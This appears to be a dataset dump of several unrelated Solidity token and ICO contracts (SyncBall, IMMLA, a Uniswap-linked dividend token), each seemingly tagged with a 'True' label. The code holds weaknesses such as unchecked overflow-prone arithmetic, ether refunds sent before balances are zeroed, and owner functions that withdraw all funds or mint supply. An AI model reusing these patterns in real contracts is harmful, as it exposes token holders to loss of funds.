function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SyncBall is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "SyncBall";
string public constant symbol = "SCB";
uint public constant decimals = 8;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 7000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 10000000e8;
uint public target0drop = 3000;
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 3650000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether / 2;
uint256 bonusCond3 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 0 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 0 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 1 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 0 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 0 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 15000e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | True | [
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pragma solidity ^0.4.15;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
contract SafeMath {
function mul(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b != 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mulByFraction(uint256 number, uint256 numerator, uint256 denominator) internal returns (uint256) {
return div(mul(number, numerator), denominator);
}
}
/// Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20
/// @title Abstract token contract - Functions to be implemented by token contracts.
contract AbstractToken {
// This is not an abstract function, because solc won't recognize generated getter functions for public variables as functions
function totalSupply() constant returns (uint256) {}
function balanceOf(address owner) constant returns (uint256 balance);
function transfer(address to, uint256 value) returns (bool success);
function transferFrom(address from, address to, uint256 value) returns (bool success);
function approve(address spender, uint256 value) returns (bool success);
function allowance(address owner, address spender) constant returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Issuance(address indexed to, uint256 value);
}
contract StandardToken is AbstractToken {
/*
* Data structures
*/
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
/*
* Read and write storage functions
*/
/// @dev Transfers sender's tokens to a given address. Returns success.
/// @param _to Address of token receiver.
/// @param _value Number of tokens to transfer.
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
/// @dev Allows allowed third party to transfer tokens from one address to another. Returns success.
/// @param _from Address from where tokens are withdrawn.
/// @param _to Address to where tokens are sent.
/// @param _value Number of tokens to transfer.
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
/// @dev Returns number of tokens owned by given address.
/// @param _owner Address of token owner.
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
/// @dev Sets approved amount of tokens for spender. Returns success.
/// @param _spender Address of allowed account.
/// @param _value Number of approved tokens.
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/*
* Read storage functions
*/
/// @dev Returns number of allowed tokens for given address.
/// @param _owner Address of token owner.
/// @param _spender Address of token spender.
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract ImmlaToken is StandardToken, SafeMath {
/*
* Token meta data
*/
string public constant name = "IMMLA";
string public constant symbol = "IML";
uint public constant decimals = 18;
uint public constant supplyLimit = 550688955000000000000000000;
address public icoContract = 0x0;
/*
* Modifiers
*/
modifier onlyIcoContract() {
// only ICO contract is allowed to proceed
require(msg.sender == icoContract);
_;
}
/*
* Contract functions
*/
/// @dev Contract is needed in icoContract address
/// @param _icoContract Address of account which will be mint tokens
function ImmlaToken(address _icoContract) {
assert(_icoContract != 0x0);
icoContract = _icoContract;
}
/// @dev Burns tokens from address. It's can be applied by account with address this.icoContract
/// @param _from Address of account, from which will be burned tokens
/// @param _value Amount of tokens, that will be burned
function burnTokens(address _from, uint _value) onlyIcoContract {
assert(_from != 0x0);
require(_value > 0);
balances[_from] = sub(balances[_from], _value);
}
/// @dev Adds tokens to address. It's can be applied by account with address this.icoContract
/// @param _to Address of account to which the tokens will pass
/// @param _value Amount of tokens
function emitTokens(address _to, uint _value) onlyIcoContract {
assert(_to != 0x0);
require(_value > 0);
balances[_to] = add(balances[_to], _value);
}
}
contract ImmlaIco is SafeMath {
/*
* ICO meta data
*/
ImmlaToken public immlaToken;
AbstractToken public preIcoToken;
// Address of account to which ethers will be tranfered in case of successful ICO
address public escrow;
// Address of manager
address public icoManager;
// Address of a account, that will transfer tokens from pre-ICO
address public tokenImporter = 0x0;
// Addresses of founders, team and bountyOwner
address public founder1;
address public founder2;
address public founder3;
address public team;
address public bountyOwner;
// 38548226,7 IML is reward for team
uint public constant teamsReward = 38548226701232220000000000;
// 9361712,2 IML is token for bountyOwner
uint public constant bountyOwnersTokens = 9361712198870680000000000;
// BASE = 10^18
uint constant BASE = 1000000000000000000;
// 2017.09.14 21:00 UTC or 2017.09.15 0:00 MSK
uint public constant defaultIcoStart = 1505422800;
// ICO start time
uint public icoStart = defaultIcoStart;
// 2017.10.15 21:00 UTC or 2017.10.16 0:00 MSK
uint public constant defaultIcoDeadline = 1508101200;
// ICO end time
uint public icoDeadline = defaultIcoDeadline;
// 2018.03.14 21:00 UTC or 2018.03.15 0:00 MSK
uint public constant defaultFoundersRewardTime = 1521061200;
// founders' reward time
uint public foundersRewardTime = defaultFoundersRewardTime;
// Min limit of tokens is 18 000 000 IML
uint public constant minIcoTokenLimit = 18000000 * BASE;
// Max limit of tokens is 434 477 177 IML
uint public constant maxIcoTokenLimit = 434477177 * BASE;
// Amount of imported tokens from pre-ICO
uint public importedTokens = 0;
// Amount of sold tokens on ICO
uint public soldTokensOnIco = 0;
// Amount of issued tokens on pre-ICO = 13232941,7 IML
uint public constant soldTokensOnPreIco = 13232941687168431951684000;
// There are 170053520 tokens in stage 1
// 1 ETH = 3640 IML
uint tokenPrice1 = 3640;
uint tokenSupply1 = 170053520 * BASE;
// There are 103725856 tokens in stage 2
// 1 ETH = 3549 IML
uint tokenPrice2 = 3549;
uint tokenSupply2 = 103725856 * BASE;
// There are 100319718 tokens in stage 3
// 1 ETH = 3458 IML
uint tokenPrice3 = 3458;
uint tokenSupply3 = 100319718 * BASE;
// There are 60378083 tokens in stage 4
// 1 ETH = 3367 IML
uint tokenPrice4 = 3367;
uint tokenSupply4 = 60378083 * BASE;
// Token's prices in stages in array
uint[] public tokenPrices;
// Token's remaining amounts in stages in array
uint[] public tokenSupplies;
// Check if manager can be setted
bool public initialized = false;
// If flag migrated=false, token can be burned
bool public migrated = false;
// Tokens to founders can be sent only if sentTokensToFounders == false and time > foundersRewardTime
bool public sentTokensToFounders = false;
// If stopICO is called, then ICO
bool public icoStoppedManually = false;
// mapping of ether balances info
mapping (address => uint) public balances;
/*
* Events
*/
event BuyTokens(address buyer, uint value, uint amount);
event WithdrawEther();
event StopIcoManually();
event SendTokensToFounders(uint founder1Reward, uint founder2Reward, uint founder3Reward);
event ReturnFundsFor(address account);
/*
* Modifiers
*/
modifier whenInitialized() {
// only when contract is initialized
require(initialized);
_;
}
modifier onlyManager() {
// only ICO manager can do this action
require(msg.sender == icoManager);
_;
}
modifier onIcoRunning() {
// Checks, if ICO is running and has not been stopped
require(!icoStoppedManually && now >= icoStart && now <= icoDeadline);
_;
}
modifier onGoalAchievedOrDeadline() {
// Checks if amount of sold tokens >= min limit or deadline is reached
require(soldTokensOnIco >= minIcoTokenLimit || now > icoDeadline || icoStoppedManually);
_;
}
modifier onIcoStopped() {
// Checks if ICO was stopped or deadline is reached
require(icoStoppedManually || now > icoDeadline);
_;
}
modifier notMigrated() {
// Checks if base can be migrated
require(!migrated);
_;
}
/// @dev Constructor of ICO. Requires address of icoManager,
/// address of preIcoToken, time of start ICO (or zero),
/// time of ICO deadline (or zero), founders' reward time (or zero)
/// @param _icoManager Address of ICO manager
/// @param _preIcoToken Address of pre-ICO contract
/// @param _icoStart Timestamp of ICO start (if equals 0, sets defaultIcoStart)
/// @param _icoDeadline Timestamp of ICO deadline (if equals 0, sets defaultIcoDeadline)
/// @param _foundersRewardTime Timestamp of founders rewarding time
/// (if equals 0, sets defaultFoundersRewardTime)
function ImmlaIco(address _icoManager, address _preIcoToken,
uint _icoStart, uint _icoDeadline, uint _foundersRewardTime) {
assert(_preIcoToken != 0x0);
assert(_icoManager != 0x0);
immlaToken = new ImmlaToken(this);
icoManager = _icoManager;
preIcoToken = AbstractToken(_preIcoToken);
if (_icoStart != 0) {
icoStart = _icoStart;
}
if (_icoDeadline != 0) {
icoDeadline = _icoDeadline;
}
if (_foundersRewardTime != 0) {
foundersRewardTime = _foundersRewardTime;
}
// tokenPrices and tokenSupplies arrays initialisation
tokenPrices.push(tokenPrice1);
tokenPrices.push(tokenPrice2);
tokenPrices.push(tokenPrice3);
tokenPrices.push(tokenPrice4);
tokenSupplies.push(tokenSupply1);
tokenSupplies.push(tokenSupply2);
tokenSupplies.push(tokenSupply3);
tokenSupplies.push(tokenSupply4);
}
/// @dev Initialises addresses of team, founders, tokens owner, escrow.
/// Initialises balances of team and tokens owner
/// @param _founder1 Address of founder 1
/// @param _founder2 Address of founder 2
/// @param _founder3 Address of founder 3
/// @param _team Address of team
/// @param _bountyOwner Address of bounty owner
/// @param _escrow Address of escrow
function init(
address _founder1, address _founder2, address _founder3,
address _team, address _bountyOwner, address _escrow) onlyManager {
assert(!initialized);
assert(_founder1 != 0x0);
assert(_founder2 != 0x0);
assert(_founder3 != 0x0);
assert(_team != 0x0);
assert(_bountyOwner != 0x0);
assert(_escrow != 0x0);
founder1 = _founder1;
founder2 = _founder2;
founder3 = _founder3;
team = _team;
bountyOwner = _bountyOwner;
escrow = _escrow;
immlaToken.emitTokens(team, teamsReward);
immlaToken.emitTokens(bountyOwner, bountyOwnersTokens);
initialized = true;
}
/// @dev Sets new manager. Only manager can do it
/// @param _newIcoManager Address of new ICO manager
function setNewManager(address _newIcoManager) onlyManager {
assert(_newIcoManager != 0x0);
icoManager = _newIcoManager;
}
/// @dev Sets new token importer. Only manager can do it
/// @param _newTokenImporter Address of token importer
function setNewTokenImporter(address _newTokenImporter) onlyManager {
tokenImporter = _newTokenImporter;
}
// saves info if account's tokens were imported from pre-ICO
mapping (address => bool) private importedFromPreIco;
/// @dev Imports account's tokens from pre-ICO. It can be done only by user, ICO manager or token importer
/// @param _account Address of account which tokens will be imported
function importTokens(address _account) {
// only tokens holder or manager or tokenImporter can do migration
require(msg.sender == tokenImporter || msg.sender == icoManager || msg.sender == _account);
require(!importedFromPreIco[_account]);
uint preIcoBalance = preIcoToken.balanceOf(_account);
if (preIcoBalance > 0) {
immlaToken.emitTokens(_account, preIcoBalance);
importedTokens = add(importedTokens, preIcoBalance);
}
importedFromPreIco[_account] = true;
}
/// @dev Stops ICO manually. Only manager can do it
function stopIco() onlyManager /* onGoalAchievedOrDeadline */ {
icoStoppedManually = true;
StopIcoManually();
}
/// @dev If ICO is successful, sends funds to escrow (Only manager can do it). If ICO is failed, sends funds to caller (Anyone can do it)
function withdrawEther() onGoalAchievedOrDeadline {
if (soldTokensOnIco >= minIcoTokenLimit) {
assert(initialized);
assert(this.balance > 0);
assert(msg.sender == icoManager);
escrow.transfer(this.balance);
WithdrawEther();
}
else {
returnFundsFor(msg.sender);
}
}
/// @dev Returns funds to funder if ICO is unsuccessful. Dont removes IMMLA balance. Can be called only by manager or contract
/// @param _account Address of funder
function returnFundsFor(address _account) onGoalAchievedOrDeadline {
assert(msg.sender == address(this) || msg.sender == icoManager || msg.sender == _account);
assert(soldTokensOnIco < minIcoTokenLimit);
assert(balances[_account] > 0);
_account.transfer(balances[_account]);
balances[_account] = 0;
ReturnFundsFor(_account);
}
/// @dev count tokens that can be sold with amount of money. Can be called only by contract
/// @param _weis Amount of weis
function countTokens(uint _weis) private returns(uint) {
uint result = 0;
uint stage;
for (stage = 0; stage < 4; stage++) {
if (_weis == 0) {
break;
}
if (tokenSupplies[stage] == 0) {
continue;
}
uint maxTokenAmount = tokenPrices[stage] * _weis;
if (maxTokenAmount <= tokenSupplies[stage]) {
result = add(result, maxTokenAmount);
break;
}
result = add(result, tokenSupplies[stage]);
_weis = sub(_weis, div(tokenSupplies[stage], tokenPrices[stage]));
}
if (stage == 4) {
result = add(result, tokenPrices[3] * _weis);
}
return result;
}
/// @dev Invalidates _amount tokens. Can be called only by contract
/// @param _amount Amount of tokens
function removeTokens(uint _amount) private {
for (uint i = 0; i < 4; i++) {
if (_amount == 0) {
break;
}
if (tokenSupplies[i] > _amount) {
tokenSupplies[i] = sub(tokenSupplies[i], _amount);
break;
}
_amount = sub(_amount, tokenSupplies[i]);
tokenSupplies[i] = 0;
}
}
/// @dev Buys quantity of tokens for the amount of sent ethers.
/// @param _buyer Address of account which will receive tokens
function buyTokens(address _buyer) private {
assert(_buyer != 0x0);
require(msg.value > 0);
require(soldTokensOnIco < maxIcoTokenLimit);
uint boughtTokens = countTokens(msg.value);
assert(add(soldTokensOnIco, boughtTokens) <= maxIcoTokenLimit);
removeTokens(boughtTokens);
soldTokensOnIco = add(soldTokensOnIco, boughtTokens);
immlaToken.emitTokens(_buyer, boughtTokens);
balances[_buyer] = add(balances[_buyer], msg.value);
BuyTokens(_buyer, msg.value, boughtTokens);
}
/// @dev Fall back function ~50k-100k gas
function () payable onIcoRunning {
buyTokens(msg.sender);
}
/// @dev Burn tokens from accounts only in state "not migrated". Only manager can do it
/// @param _from Address of account
function burnTokens(address _from, uint _value) onlyManager notMigrated {
immlaToken.burnTokens(_from, _value);
}
/// @dev Set state "migrated". Only manager can do it
function setStateMigrated() onlyManager {
migrated = true;
}
/// @dev Send tokens to founders. Can be sent only after immlaToken.rewardTime() (2018.03.15 0:00 UTC)
/// Sends 43% * 10% of all tokens to founder 1
/// Sends 43% * 10% of all tokens to founder 2
/// Sends 14% * 10% of all tokens to founder 3
function sendTokensToFounders() onlyManager whenInitialized {
require(!sentTokensToFounders && now >= foundersRewardTime);
// soldTokensOnPreIco + soldTokensOnIco is ~81.3% of tokens
uint totalCountOfTokens = mulByFraction(add(soldTokensOnIco, soldTokensOnPreIco), 1000, 813);
uint totalRewardToFounders = mulByFraction(totalCountOfTokens, 1, 10);
uint founder1Reward = mulByFraction(totalRewardToFounders, 43, 100);
uint founder2Reward = mulByFraction(totalRewardToFounders, 43, 100);
uint founder3Reward = mulByFraction(totalRewardToFounders, 14, 100);
immlaToken.emitTokens(founder1, founder1Reward);
immlaToken.emitTokens(founder2, founder2Reward);
immlaToken.emitTokens(founder3, founder3Reward);
SendTokensToFounders(founder1Reward, founder2Reward, founder3Reward);
sentTokensToFounders = true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library IterableMapping {
// Iterable mapping from address to uint;
struct Map {
address[] keys;
mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function get(Map storage map, address key) public view returns (uint) {
return map.values[key];
}
function getIndexOfKey(Map storage map, address key) public view returns (int) {
if(!map.inserted[key]) {
return -1;
}
return int(map.indexOf[key]);
}
function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
return map.keys[index];
}
function size(Map storage map) public view returns (uint) {
return map.keys.length;
}
function set(Map storage map, address key, uint val) public {
if (map.inserted[key]) {
map.values[key] = val;
} else {
map.inserted[key] = true;
map.values[key] = val;
map.indexOf[key] = map.keys.length;
map.keys.push(key);
}
}
function remove(Map storage map, address key) public {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.values[key];
uint index = map.indexOf[key];
uint lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.keys[index] = lastKey;
map.keys.pop();
}
}
/// @title Dividend-Paying Token Optional Interface
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev OPTIONAL functions for a dividend-paying token contract.
interface DividendPayingTokenOptionalInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function withdrawableDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has withdrawn.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has withdrawn.
function withdrawnDividendOf(address _owner) external view returns(uint256);
/// @notice View the amount of dividend in wei that an address has earned in total.
/// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner)
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` has earned in total.
function accumulativeDividendOf(address _owner) external view returns(uint256);
}
/// @title Dividend-Paying Token Interface
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev An interface for a dividend-paying token contract.
interface DividendPayingTokenInterface {
/// @notice View the amount of dividend in wei that an address can withdraw.
/// @param _owner The address of a token holder.
/// @return The amount of dividend in wei that `_owner` can withdraw.
function dividendOf(address _owner) external view returns(uint256);
/// @notice Distributes ether to token holders as dividends.
/// @dev SHOULD distribute the paid ether to token holders as dividends.
/// SHOULD NOT directly transfer ether to token holders in this function.
/// MUST emit a `DividendsDistributed` event when the amount of distributed ether is greater than 0.
function distributeDividends() external payable;
/// @notice Withdraws the ether distributed to the sender.
/// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer.
/// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0.
function withdrawDividend() external;
/// @dev This event MUST emit when ether is distributed to token holders.
/// @param from The address which sends ether to this contract.
/// @param weiAmount The amount of distributed ether in wei.
event DividendsDistributed(
address indexed from,
uint256 weiAmount
);
/// @dev This event MUST emit when an address withdraws their dividend.
/// @param to The address which withdraws ether from this contract.
/// @param weiAmount The amount of withdrawn ether in wei.
event DividendWithdrawn(
address indexed to,
uint256 weiAmount
);
}
/*
MIT License
Copyright (c) 2018 requestnetwork
Copyright (c) 2018 Fragments, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
